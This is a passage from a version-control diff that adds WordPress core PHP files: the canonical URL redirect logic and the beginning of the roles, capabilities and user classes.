+			if ( $redirect_url = get_permalink(get_query_var('page_id')) )
+				$redirect['query'] = remove_query_arg('page_id', $redirect['query']);
+		} elseif ( is_page() && !is_feed() && isset($wp_query->queried_object) && 'page' == get_option('show_on_front') && $wp_query->queried_object->ID == get_option('page_on_front')  && ! $redirect_url ) {
+			$redirect_url = home_url('/');
+		} elseif ( is_home() && !empty($_GET['page_id']) && 'page' == get_option('show_on_front') && get_query_var('page_id') == get_option('page_for_posts')  && ! $redirect_url ) {
+			if ( $redirect_url = get_permalink(get_option('page_for_posts')) )
+				$redirect['query'] = remove_query_arg('page_id', $redirect['query']);
+		} elseif ( !empty($_GET['m']) && ( is_year() || is_month() || is_day() ) ) {
+			$m = get_query_var('m');
+			switch ( strlen($m) ) {
+				case 4: // Yearly
+					$redirect_url = get_year_link($m);
+					break;
+				case 6: // Monthly
+					$redirect_url = get_month_link( substr($m, 0, 4), substr($m, 4, 2) );
+					break;
+				case 8: // Daily
+					$redirect_url = get_day_link(substr($m, 0, 4), substr($m, 4, 2), substr($m, 6, 2));
+					break;
+			}
+			if ( $redirect_url )
+				$redirect['query'] = remove_query_arg('m', $redirect['query']);
+		// now moving on to non ?m=X year/month/day links
+		} elseif ( is_day() && get_query_var('year') && get_query_var('monthnum') && !empty($_GET['day']) ) {
+			if ( $redirect_url = get_day_link(get_query_var('year'), get_query_var('monthnum'), get_query_var('day')) )
+				$redirect['query'] = remove_query_arg(array('year', 'monthnum', 'day'), $redirect['query']);
+		} elseif ( is_month() && get_query_var('year') && !empty($_GET['monthnum']) ) {
+			if ( $redirect_url = get_month_link(get_query_var('year'), get_query_var('monthnum')) )
+				$redirect['query'] = remove_query_arg(array('year', 'monthnum'), $redirect['query']);
+		} elseif ( is_year() && !empty($_GET['year']) ) {
+			if ( $redirect_url = get_year_link(get_query_var('year')) )
+				$redirect['query'] = remove_query_arg('year', $redirect['query']);
+		} elseif ( is_author() && !empty($_GET['author']) && preg_match( '|^[0-9]+$|', $_GET['author'] ) ) {
+			$author = get_userdata(get_query_var('author'));
+			if ( ( false !== $author ) && $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE $wpdb->posts.post_author = %d AND $wpdb->posts.post_status = 'publish' LIMIT 1", $author->ID ) ) ) {
+				if ( $redirect_url = get_author_posts_url($author->ID, $author->user_nicename) )
+					$redirect['query'] = remove_query_arg('author', $redirect['query']);
+			}
+		} elseif ( is_category() || is_tag() || is_tax() ) { // Terms (Tags/categories)
+
+			$term_count = 0;
+			foreach ( $wp_query->tax_query->queried_terms as $tax_query )
+				$term_count += count( $tax_query['terms'] );
+
+			$obj = $wp_query->get_queried_object();
+			if ( $term_count <= 1 && !empty($obj->term_id) && ( $tax_url = get_term_link((int)$obj->term_id, $obj->taxonomy) ) && !is_wp_error($tax_url) ) {
+				if ( !empty($redirect['query']) ) {
+					// Strip taxonomy query vars off the url.
+					$qv_remove = array( 'term', 'taxonomy');
+					if ( is_category() ) {
+						$qv_remove[] = 'category_name';
+						$qv_remove[] = 'cat';
+					} elseif ( is_tag() ) {
+						$qv_remove[] = 'tag';
+						$qv_remove[] = 'tag_id';
+					} else { // Custom taxonomies will have a custom query var, remove those too:
+						$tax_obj = get_taxonomy( $obj->taxonomy );
+						if ( false !== $tax_obj->query_var )
+							$qv_remove[] = $tax_obj->query_var;
+					}
+
+					$rewrite_vars = array_diff( array_keys($wp_query->query), array_keys($_GET) );
+
+					if ( !array_diff($rewrite_vars, array_keys($_GET))  ) { // Check to see if all the Query vars are coming from the rewrite, none are set via $_GET
+						$redirect['query'] = remove_query_arg($qv_remove, $redirect['query']); //Remove all of the per-tax qv's
+
+						// Create the destination url for this taxonomy
+						$tax_url = parse_url($tax_url);
+						if ( ! empty($tax_url['query']) ) { // Taxonomy accessible via ?taxonomy=..&term=.. or any custom qv..
+							parse_str($tax_url['query'], $query_vars);
+							$redirect['query'] = add_query_arg($query_vars, $redirect['query']);
+						} else { // Taxonomy is accessible via a "pretty-URL"
+							$redirect['path'] = $tax_url['path'];
+						}
+
+					} else { // Some query vars are set via $_GET. Unset those from $_GET that exist via the rewrite
+						foreach ( $qv_remove as $_qv ) {
+							if ( isset($rewrite_vars[$_qv]) )
+								$redirect['query'] = remove_query_arg($_qv, $redirect['query']);
+						}
+					}
+				}
+
+			}
+		} elseif ( is_single() && strpos($wp_rewrite->permalink_structure, '%category%') !== false && $cat = get_query_var( 'category_name' ) ) {
+			$category = get_category_by_path( $cat );
+			$post_terms = wp_get_object_terms($wp_query->get_queried_object_id(), 'category', array('fields' => 'tt_ids'));
+			if ( (!$category || is_wp_error($category)) || ( !is_wp_error($post_terms) && !empty($post_terms) && !in_array($category->term_taxonomy_id, $post_terms) ) )
+				$redirect_url = get_permalink($wp_query->get_queried_object_id());
+		}
+
+		// Post Paging
+		if ( is_singular() && ! is_front_page() && get_query_var('page') ) {
+			if ( !$redirect_url )
+				$redirect_url = get_permalink( get_queried_object_id() );
+			$redirect_url = trailingslashit( $redirect_url ) . user_trailingslashit( get_query_var( 'page' ), 'single_paged' );
+			$redirect['query'] = remove_query_arg( 'page', $redirect['query'] );
+		}
+
+		// paging and feeds
+		if ( get_query_var('paged') || is_feed() || get_query_var('cpage') ) {
+			while ( preg_match( "#/$wp_rewrite->pagination_base/?[0-9]+?(/+)?$#", $redirect['path'] ) || preg_match( '#/(comments/?)?(feed|rss|rdf|atom|rss2)(/+)?$#', $redirect['path'] ) || preg_match( '#/comment-page-[0-9]+(/+)?$#', $redirect['path'] ) ) {
+				// Strip off paging and feed
+				$redirect['path'] = preg_replace("#/$wp_rewrite->pagination_base/?[0-9]+?(/+)?$#", '/', $redirect['path']); // strip off any existing paging
+				$redirect['path'] = preg_replace('#/(comments/?)?(feed|rss2?|rdf|atom)(/+|$)#', '/', $redirect['path']); // strip off feed endings
+				$redirect['path'] = preg_replace('#/comment-page-[0-9]+?(/+)?$#', '/', $redirect['path']); // strip off any existing comment paging
+			}
+
+			$addl_path = '';
+			if ( is_feed() && in_array( get_query_var('feed'), $wp_rewrite->feeds ) ) {
+				$addl_path = !empty( $addl_path ) ? trailingslashit($addl_path) : '';
+				if ( !is_singular() && get_query_var( 'withcomments' ) )
+					$addl_path .= 'comments/';
+				if ( ( 'rss' == get_default_feed() && 'feed' == get_query_var('feed') ) || 'rss' == get_query_var('feed') )
+					$addl_path .= user_trailingslashit( 'feed/' . ( ( get_default_feed() == 'rss2' ) ? '' : 'rss2' ), 'feed' );
+				else
+					$addl_path .= user_trailingslashit( 'feed/' . ( ( get_default_feed() ==  get_query_var('feed') || 'feed' == get_query_var('feed') ) ? '' : get_query_var('feed') ), 'feed' );
+				$redirect['query'] = remove_query_arg( 'feed', $redirect['query'] );
+			} elseif ( is_feed() && 'old' == get_query_var('feed') ) {
+				$old_feed_files = array(
+					'wp-atom.php'         => 'atom',
+					'wp-commentsrss2.php' => 'comments_rss2',
+					'wp-feed.php'         => get_default_feed(),
+					'wp-rdf.php'          => 'rdf',
+					'wp-rss.php'          => 'rss2',
+					'wp-rss2.php'         => 'rss2',
+				);
+				if ( isset( $old_feed_files[ basename( $redirect['path'] ) ] ) ) {
+					$redirect_url = get_feed_link( $old_feed_files[ basename( $redirect['path'] ) ] );
+					wp_redirect( $redirect_url, 301 );
+					die();
+				}
+			}
+
+			if ( get_query_var('paged') > 0 ) {
+				$paged = get_query_var('paged');
+				$redirect['query'] = remove_query_arg( 'paged', $redirect['query'] );
+				if ( !is_feed() ) {
+					if ( $paged > 1 && !is_single() ) {
+						$addl_path = ( !empty( $addl_path ) ? trailingslashit($addl_path) : '' ) . user_trailingslashit("$wp_rewrite->pagination_base/$paged", 'paged');
+					} elseif ( !is_single() ) {
+						$addl_path = !empty( $addl_path ) ? trailingslashit($addl_path) : '';
+					}
+				} elseif ( $paged > 1 ) {
+					$redirect['query'] = add_query_arg( 'paged', $paged, $redirect['query'] );
+				}
+			}
+
+			if ( get_option('page_comments') && ( ( 'newest' == get_option('default_comments_page') && get_query_var('cpage') > 0 ) || ( 'newest' != get_option('default_comments_page') && get_query_var('cpage') > 1 ) ) ) {
+				$addl_path = ( !empty( $addl_path ) ? trailingslashit($addl_path) : '' ) . user_trailingslashit( 'comment-page-' . get_query_var('cpage'), 'commentpaged' );
+				$redirect['query'] = remove_query_arg( 'cpage', $redirect['query'] );
+			}
+
+			$redirect['path'] = user_trailingslashit( preg_replace('|/' . preg_quote( $wp_rewrite->index, '|' ) . '/?$|', '/', $redirect['path']) ); // strip off trailing /index.php/
+			if ( !empty( $addl_path ) && $wp_rewrite->using_index_permalinks() && strpos($redirect['path'], '/' . $wp_rewrite->index . '/') === false )
+				$redirect['path'] = trailingslashit($redirect['path']) . $wp_rewrite->index . '/';
+			if ( !empty( $addl_path ) )
+				$redirect['path'] = trailingslashit($redirect['path']) . $addl_path;
+			$redirect_url = $redirect['scheme'] . '://' . $redirect['host'] . $redirect['path'];
+		}
+
+		if ( 'wp-register.php' == basename( $redirect['path'] ) ) {
+			if ( is_multisite() ) {
+				/** This filter is documented in wp-login.php */
+				$redirect_url = apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) );
+			} else {
+				$redirect_url = site_url( 'wp-login.php?action=register' );
+			}
+
+			wp_redirect( $redirect_url, 301 );
+			die();
+		}
+	}
+
+	// tack on any additional query vars
+	$redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] );
+	if ( $redirect_url && !empty($redirect['query']) ) {
+		parse_str( $redirect['query'], $_parsed_query );
+		$redirect = @parse_url($redirect_url);
+
+		if ( ! empty( $_parsed_query['name'] ) && ! empty( $redirect['query'] ) ) {
+			parse_str( $redirect['query'], $_parsed_redirect_query );
+
+			if ( empty( $_parsed_redirect_query['name'] ) )
+				unset( $_parsed_query['name'] );
+		}
+
+		$_parsed_query = rawurlencode_deep( $_parsed_query );
+		$redirect_url = add_query_arg( $_parsed_query, $redirect_url );
+	}
+
+	if ( $redirect_url )
+		$redirect = @parse_url($redirect_url);
+
+	// www.example.com vs example.com
+	$user_home = @parse_url(home_url());
+	if ( !empty($user_home['host']) )
+		$redirect['host'] = $user_home['host'];
+	if ( empty($user_home['path']) )
+		$user_home['path'] = '/';
+
+	// Handle ports
+	if ( !empty($user_home['port']) )
+		$redirect['port'] = $user_home['port'];
+	else
+		unset($redirect['port']);
+
+	// trailing /index.php
+	$redirect['path'] = preg_replace('|/' . preg_quote( $wp_rewrite->index, '|' ) . '/*?$|', '/', $redirect['path']);
+
+	// Remove trailing spaces from the path
+	$redirect['path'] = preg_replace( '#(%20| )+$#', '', $redirect['path'] );
+
+	if ( !empty( $redirect['query'] ) ) {
+		// Remove trailing spaces from certain terminating query string args
+		$redirect['query'] = preg_replace( '#((p|page_id|cat|tag)=[^&]*?)(%20| )+$#', '$1', $redirect['query'] );
+
+		// Clean up empty query strings
+		$redirect['query'] = trim(preg_replace( '#(^|&)(p|page_id|cat|tag)=?(&|$)#', '&', $redirect['query']), '&');
+
+		// Redirect obsolete feeds
+		$redirect['query'] = preg_replace( '#(^|&)feed=rss(&|$)#', '$1feed=rss2$2', $redirect['query'] );
+
+		// Remove redundant leading ampersands
+		$redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] );
+	}
+
+	// strip /index.php/ when we're not using PATHINFO permalinks
+	if ( !$wp_rewrite->using_index_permalinks() )
+		$redirect['path'] = str_replace( '/' . $wp_rewrite->index . '/', '/', $redirect['path'] );
+
+	// trailing slashes
+	if ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() && !is_404() && (!is_front_page() || ( is_front_page() && (get_query_var('paged') > 1) ) ) ) {
+		$user_ts_type = '';
+		if ( get_query_var('paged') > 0 ) {
+			$user_ts_type = 'paged';
+		} else {
+			foreach ( array('single', 'category', 'page', 'day', 'month', 'year', 'home') as $type ) {
+				$func = 'is_' . $type;
+				if ( call_user_func($func) ) {
+					$user_ts_type = $type;
+					break;
+				}
+			}
+		}
+		$redirect['path'] = user_trailingslashit($redirect['path'], $user_ts_type);
+	} elseif ( is_front_page() ) {
+		$redirect['path'] = trailingslashit($redirect['path']);
+	}
+
+	// Strip multiple slashes out of the URL
+	if ( strpos($redirect['path'], '//') > -1 )
+		$redirect['path'] = preg_replace('|/+|', '/', $redirect['path']);
+
+	// Always trailing slash the Front Page URL
+	if ( trailingslashit( $redirect['path'] ) == trailingslashit( $user_home['path'] ) )
+		$redirect['path'] = trailingslashit($redirect['path']);
+
+	// Ignore differences in host capitalization, as this can lead to infinite redirects
+	// Only redirect no-www <=> yes-www
+	if ( strtolower($original['host']) == strtolower($redirect['host']) ||
+		( strtolower($original['host']) != 'www.' . strtolower($redirect['host']) && 'www.' . strtolower($original['host']) != strtolower($redirect['host']) ) )
+		$redirect['host'] = $original['host'];
+
+	$compare_original = array( $original['host'], $original['path'] );
+
+	if ( !empty( $original['port'] ) )
+		$compare_original[] = $original['port'];
+
+	if ( !empty( $original['query'] ) )
+		$compare_original[] = $original['query'];
+
+	$compare_redirect = array( $redirect['host'], $redirect['path'] );
+
+	if ( !empty( $redirect['port'] ) )
+		$compare_redirect[] = $redirect['port'];
+
+	if ( !empty( $redirect['query'] ) )
+		$compare_redirect[] = $redirect['query'];
+
+	if ( $compare_original !== $compare_redirect ) {
+		$redirect_url = $redirect['scheme'] . '://' . $redirect['host'];
+		if ( !empty($redirect['port']) )
+			$redirect_url .= ':' . $redirect['port'];
+		$redirect_url .= $redirect['path'];
+		if ( !empty($redirect['query']) )
+			$redirect_url .= '?' . $redirect['query'];
+	}
+
+	if ( !$redirect_url || $redirect_url == $requested_url )
+		return false;
+
+	// Hex encoded octets are case-insensitive.
+	if ( false !== strpos($requested_url, '%') ) {
+		if ( !function_exists('lowercase_octets') ) {
+			function lowercase_octets($matches) {
+				return strtolower( $matches[0] );
+			}
+		}
+		$requested_url = preg_replace_callback('|%[a-fA-F0-9][a-fA-F0-9]|', 'lowercase_octets', $requested_url);
+	}
+
+	/**
+	 * Filter the canonical redirect URL.
+	 *
+	 * Returning false to this filter will cancel the redirect.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $redirect_url  The redirect URL.
+	 * @param string $requested_url The requested URL.
+	 */
+	$redirect_url = apply_filters( 'redirect_canonical', $redirect_url, $requested_url );
+
+	if ( !$redirect_url || $redirect_url == $requested_url ) // yes, again -- in case the filter aborted the request
+		return false;
+
+	if ( $do_redirect ) {
+		// protect against chained redirects
+		if ( !redirect_canonical($redirect_url, false) ) {
+			wp_redirect($redirect_url, 301);
+			exit();
+		} else {
+			// Debug
+			// die("1: $redirect_url<br />2: " . redirect_canonical( $redirect_url, false ) );
+			return false;
+		}
+	} else {
+		return $redirect_url;
+	}
+}
+
+/**
+ * Removes arguments from a query string if they are not present in a URL
+ * DO NOT use this in plugin code.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param string $query_string
+ * @param array $args_to_check
+ * @param string $url
+ * @return string The altered query string
+ */
+function _remove_qs_args_if_not_in_url( $query_string, Array $args_to_check, $url ) {
+	$parsed_url = @parse_url( $url );
+	if ( ! empty( $parsed_url['query'] ) ) {
+		parse_str( $parsed_url['query'], $parsed_query );
+		foreach ( $args_to_check as $qv ) {
+			if ( !isset( $parsed_query[$qv] ) )
+				$query_string = remove_query_arg( $qv, $query_string );
+		}
+	} else {
+		$query_string = remove_query_arg( $args_to_check, $query_string );
+	}
+	return $query_string;
+}
+
+/**
+ * Attempts to guess the correct URL based on query vars
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return bool|string The correct URL if one is found. False on failure.
+ */
+function redirect_guess_404_permalink() {
+	global $wpdb, $wp_rewrite;
+
+	if ( get_query_var('name') ) {
+		$where = $wpdb->prepare("post_name LIKE %s", $wpdb->esc_like( get_query_var('name') ) . '%');
+
+		// if any of post_type, year, monthnum, or day are set, use them to refine the query
+		if ( get_query_var('post_type') )
+			$where .= $wpdb->prepare(" AND post_type = %s", get_query_var('post_type'));
+		else
+			$where .= " AND post_type IN ('" . implode( "', '", get_post_types( array( 'public' => true ) ) ) . "')";
+
+		if ( get_query_var('year') )
+			$where .= $wpdb->prepare(" AND YEAR(post_date) = %d", get_query_var('year'));
+		if ( get_query_var('monthnum') )
+			$where .= $wpdb->prepare(" AND MONTH(post_date) = %d", get_query_var('monthnum'));
+		if ( get_query_var('day') )
+			$where .= $wpdb->prepare(" AND DAYOFMONTH(post_date) = %d", get_query_var('day'));
+
+		$post_id = $wpdb->get_var("SELECT ID FROM $wpdb->posts WHERE $where AND post_status = 'publish'");
+		if ( ! $post_id )
+			return false;
+		if ( get_query_var( 'feed' ) )
+			return get_post_comments_feed_link( $post_id, get_query_var( 'feed' ) );
+		elseif ( get_query_var( 'page' ) )
+			return trailingslashit( get_permalink( $post_id ) ) . user_trailingslashit( get_query_var( 'page' ), 'single_paged' );
+		else
+			return get_permalink( $post_id );
+	}
+
+	return false;
+}
+
+add_action('template_redirect', 'redirect_canonical');
+
+function wp_redirect_admin_locations() {
+	global $wp_rewrite;
+	if ( ! ( is_404() && $wp_rewrite->using_permalinks() ) )
+		return;
+
+	$admins = array(
+		home_url( 'wp-admin', 'relative' ),
+		home_url( 'dashboard', 'relative' ),
+		home_url( 'admin', 'relative' ),
+		site_url( 'dashboard', 'relative' ),
+		site_url( 'admin', 'relative' ),
+	);
+	if ( in_array( untrailingslashit( $_SERVER['REQUEST_URI'] ), $admins ) ) {
+		wp_redirect( admin_url() );
+		exit;
+	}
+
+	$logins = array(
+		home_url( 'wp-login.php', 'relative' ),
+		home_url( 'login', 'relative' ),
+		site_url( 'login', 'relative' ),
+	);
+	if ( in_array( untrailingslashit( $_SERVER['REQUEST_URI'] ), $logins ) ) {
+		wp_redirect( site_url( 'wp-login.php', 'login' ) );
+		exit;
+	}
+}
+
+add_action( 'template_redirect', 'wp_redirect_admin_locations', 1000 );
Index: /tags/4.1.6/src/wp-includes/capabilities.php
===================================================================
--- /tags/4.1.6/src/wp-includes/capabilities.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/capabilities.php	(revision 33402)
@@ -0,0 +1,1548 @@
+<?php
+/**
+ * WordPress Roles and Capabilities.
+ *
+ * @package WordPress
+ * @subpackage User
+ */
+
+/**
+ * WordPress User Roles.
+ *
+ * The role option is simple, the structure is organized by role name that store
+ * the name in value of the 'name' key. The capabilities are stored as an array
+ * in the value of the 'capability' key.
+ *
+ *     array (
+ *    		'rolename' => array (
+ *    			'name' => 'rolename',
+ *    			'capabilities' => array()
+ *    		)
+ *     )
+ *
+ * @since 2.0.0
+ * @package WordPress
+ * @subpackage User
+ */
+class WP_Roles {
+	/**
+	 * List of roles and capabilities.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	public $roles;
+
+	/**
+	 * List of the role objects.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	public $role_objects = array();
+
+	/**
+	 * List of role names.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	public $role_names = array();
+
+	/**
+	 * Option name for storing role list.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $role_key;
+
+	/**
+	 * Whether to use the database for retrieval and storage.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var bool
+	 */
+	public $use_db = true;
+
+	/**
+	 * Constructor
+	 *
+	 * @since 2.0.0
+	 */
+	public function __construct() {
+		$this->_init();
+	}
+
+	/**
+	 * Make private/protected methods readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|bool Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		return call_user_func_array( array( $this, $name ), $arguments );
+	}
+
+	/**
+	 * Set up the object properties.
+	 *
+	 * The role key is set to the current prefix for the $wpdb object with
+	 * 'user_roles' appended. If the $wp_user_roles global is set, then it will
+	 * be used and the role option will not be updated or used.
+	 *
+	 * @since 2.1.0
+	 * @access protected
+	 *
+	 * @global wpdb  $wpdb          WordPress database abstraction object.
+	 * @global array $wp_user_roles Used to set the 'roles' property value.
+	 */
+	protected function _init() {
+		global $wpdb, $wp_user_roles;
+		$this->role_key = $wpdb->get_blog_prefix() . 'user_roles';
+		if ( ! empty( $wp_user_roles ) ) {
+			$this->roles = $wp_user_roles;
+			$this->use_db = false;
+		} else {
+			$this->roles = get_option( $this->role_key );
+		}
+
+		if ( empty( $this->roles ) )
+			return;
+
+		$this->role_objects = array();
+		$this->role_names =  array();
+		foreach ( array_keys( $this->roles ) as $role ) {
+			$this->role_objects[$role] = new WP_Role( $role, $this->roles[$role]['capabilities'] );
+			$this->role_names[$role] = $this->roles[$role]['name'];
+		}
+	}
+
+	/**
+	 * Reinitialize the object
+	 *
+	 * Recreates the role objects. This is typically called only by switch_to_blog()
+	 * after switching wpdb to a new blog ID.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 */
+	public function reinit() {
+		// There is no need to reinit if using the wp_user_roles global.
+		if ( ! $this->use_db )
+			return;
+
+		global $wpdb;
+
+		// Duplicated from _init() to avoid an extra function call.
+		$this->role_key = $wpdb->get_blog_prefix() . 'user_roles';
+		$this->roles = get_option( $this->role_key );
+		if ( empty( $this->roles ) )
+			return;
+
+		$this->role_objects = array();
+		$this->role_names =  array();
+		foreach ( array_keys( $this->roles ) as $role ) {
+			$this->role_objects[$role] = new WP_Role( $role, $this->roles[$role]['capabilities'] );
+			$this->role_names[$role] = $this->roles[$role]['name'];
+		}
+	}
+
+	/**
+	 * Add role name with capabilities to list.
+	 *
+	 * Updates the list of roles, if the role doesn't already exist.
+	 *
+	 * The capabilities are defined in the following format `array( 'read' => true );`
+	 * To explicitly deny a role a capability you set the value for that capability to false.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 * @param string $display_name Role display name.
+	 * @param array $capabilities List of role capabilities in the above format.
+	 * @return WP_Role|null WP_Role object if role is added, null if already exists.
+	 */
+	public function add_role( $role, $display_name, $capabilities = array() ) {
+		if ( isset( $this->roles[$role] ) )
+			return;
+
+		$this->roles[$role] = array(
+			'name' => $display_name,
+			'capabilities' => $capabilities
+			);
+		if ( $this->use_db )
+			update_option( $this->role_key, $this->roles );
+		$this->role_objects[$role] = new WP_Role( $role, $capabilities );
+		$this->role_names[$role] = $display_name;
+		return $this->role_objects[$role];
+	}
+
+	/**
+	 * Remove role by name.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 */
+	public function remove_role( $role ) {
+		if ( ! isset( $this->role_objects[$role] ) )
+			return;
+
+		unset( $this->role_objects[$role] );
+		unset( $this->role_names[$role] );
+		unset( $this->roles[$role] );
+
+		if ( $this->use_db )
+			update_option( $this->role_key, $this->roles );
+
+		if ( get_option( 'default_role' ) == $role )
+			update_option( 'default_role', 'subscriber' );
+	}
+
+	/**
+	 * Add capability to role.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 * @param string $cap Capability name.
+	 * @param bool $grant Optional, default is true. Whether role is capable of performing capability.
+	 */
+	public function add_cap( $role, $cap, $grant = true ) {
+		if ( ! isset( $this->roles[$role] ) )
+			return;
+
+		$this->roles[$role]['capabilities'][$cap] = $grant;
+		if ( $this->use_db )
+			update_option( $this->role_key, $this->roles );
+	}
+
+	/**
+	 * Remove capability from role.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 * @param string $cap Capability name.
+	 */
+	public function remove_cap( $role, $cap ) {
+		if ( ! isset( $this->roles[$role] ) )
+			return;
+
+		unset( $this->roles[$role]['capabilities'][$cap] );
+		if ( $this->use_db )
+			update_option( $this->role_key, $this->roles );
+	}
+
+	/**
+	 * Retrieve role object by name.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 * @return WP_Role|null WP_Role object if found, null if the role does not exist.
+	 */
+	public function get_role( $role ) {
+		if ( isset( $this->role_objects[$role] ) )
+			return $this->role_objects[$role];
+		else
+			return null;
+	}
+
+	/**
+	 * Retrieve list of role names.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @return array List of role names.
+	 */
+	public function get_names() {
+		return $this->role_names;
+	}
+
+	/**
+	 * Whether role name is currently in the list of available roles.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name to look up.
+	 * @return bool
+	 */
+	public function is_role( $role ) {
+		return isset( $this->role_names[$role] );
+	}
+}
+
+/**
+ * WordPress Role class.
+ *
+ * @since 2.0.0
+ * @package WordPress
+ * @subpackage User
+ */
+class WP_Role {
+	/**
+	 * Role name.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $name;
+
+	/**
+	 * List of capabilities the role contains.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	public $capabilities;
+
+	/**
+	 * Constructor - Set up object properties.
+	 *
+	 * The list of capabilities, must have the key as the name of the capability
+	 * and the value a boolean of whether it is granted to the role.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 * @param array $capabilities List of capabilities.
+	 */
+	public function __construct( $role, $capabilities ) {
+		$this->name = $role;
+		$this->capabilities = $capabilities;
+	}
+
+	/**
+	 * Assign role a capability.
+	 *
+	 * @see WP_Roles::add_cap() Method uses implementation for role.
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $cap Capability name.
+	 * @param bool $grant Whether role has capability privilege.
+	 */
+	public function add_cap( $cap, $grant = true ) {
+		global $wp_roles;
+
+		if ( ! isset( $wp_roles ) )
+			$wp_roles = new WP_Roles();
+
+		$this->capabilities[$cap] = $grant;
+		$wp_roles->add_cap( $this->name, $cap, $grant );
+	}
+
+	/**
+	 * Remove capability from role.
+	 *
+	 * This is a container for {@link WP_Roles::remove_cap()} to remove the
+	 * capability from the role. That is to say, that {@link
+	 * WP_Roles::remove_cap()} implements the functionality, but it also makes
+	 * sense to use this class, because you don't need to enter the role name.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $cap Capability name.
+	 */
+	public function remove_cap( $cap ) {
+		global $wp_roles;
+
+		if ( ! isset( $wp_roles ) )
+			$wp_roles = new WP_Roles();
+
+		unset( $this->capabilities[$cap] );
+		$wp_roles->remove_cap( $this->name, $cap );
+	}
+
+	/**
+	 * Whether role has capability.
+	 *
+	 * The capabilities is passed through the 'role_has_cap' filter. The first
+	 * parameter for the hook is the list of capabilities the class has
+	 * assigned. The second parameter is the capability name to look for. The
+	 * third and final parameter for the hook is the role name.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $cap Capability name.
+	 * @return bool True, if user has capability. False, if doesn't have capability.
+	 */
+	public function has_cap( $cap ) {
+		/**
+		 * Filter which capabilities a role has.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param array  $capabilities Array of role capabilities.
+		 * @param string $cap          Capability name.
+		 * @param string $name         Role name.
+		 */
+		$capabilities = apply_filters( 'role_has_cap', $this->capabilities, $cap, $this->name );
+		if ( !empty( $capabilities[$cap] ) )
+			return $capabilities[$cap];
+		else
+			return false;
+	}
+
+}
+
+/**
+ * WordPress User class.
+ *
+ * @since 2.0.0
+ * @package WordPress
+ * @subpackage User
+ */
+class WP_User {
+	/**
+	 * User data container.
+	 *
+	 * @since 2.0.0
+	 * @access private
+	 * @var array
+	 */
+	var $data;
+
+	/**
+	 * The user's ID.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var int
+	 */
+	public $ID = 0;
+
+	/**
+	 * The individual capabilities the user has been given.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	public $caps = array();
+
+	/**
+	 * User metadata option name.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $cap_key;
+
+	/**
+	 * The roles the user is part of.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	public $roles = array();
+
+	/**
+	 * All capabilities the user has, including individual and role based.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	public $allcaps = array();
+
+	/**
+	 * The filter context applied to user data fields.
+	 *
+	 * @since 2.9.0
+	 * @access private
+	 * @var string
+	 */
+	var $filter = null;
+
+	private static $back_compat_keys;
+
+	/**
+	 * Constructor
+	 *
+	 * Retrieves the userdata and passes it to {@link WP_User::init()}.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param int|string|stdClass|WP_User $id User's ID, a WP_User object, or a user object from the DB.
+	 * @param string $name Optional. User's username
+	 * @param int $blog_id Optional Blog ID, defaults to current blog.
+	 * @return WP_User
+	 */
+	public function __construct( $id = 0, $name = '', $blog_id = '' ) {
+		if ( ! isset( self::$back_compat_keys ) ) {
+			$prefix = $GLOBALS['wpdb']->prefix;
+			self::$back_compat_keys = array(
+				'user_firstname' => 'first_name',
+				'user_lastname' => 'last_name',
+				'user_description' => 'description',
+				'user_level' => $prefix . 'user_level',
+				$prefix . 'usersettings' => $prefix . 'user-settings',
+				$prefix . 'usersettingstime' => $prefix . 'user-settings-time',
+			);
+		}
+
+		if ( is_a( $id, 'WP_User' ) ) {
+			$this->init( $id->data, $blog_id );
+			return;
+		} elseif ( is_object( $id ) ) {
+			$this->init( $id, $blog_id );
+			return;
+		}
+
+		if ( ! empty( $id ) && ! is_numeric( $id ) ) {
+			$name = $id;
+			$id = 0;
+		}
+
+		if ( $id )
+			$data = self::get_data_by( 'id', $id );
+		else
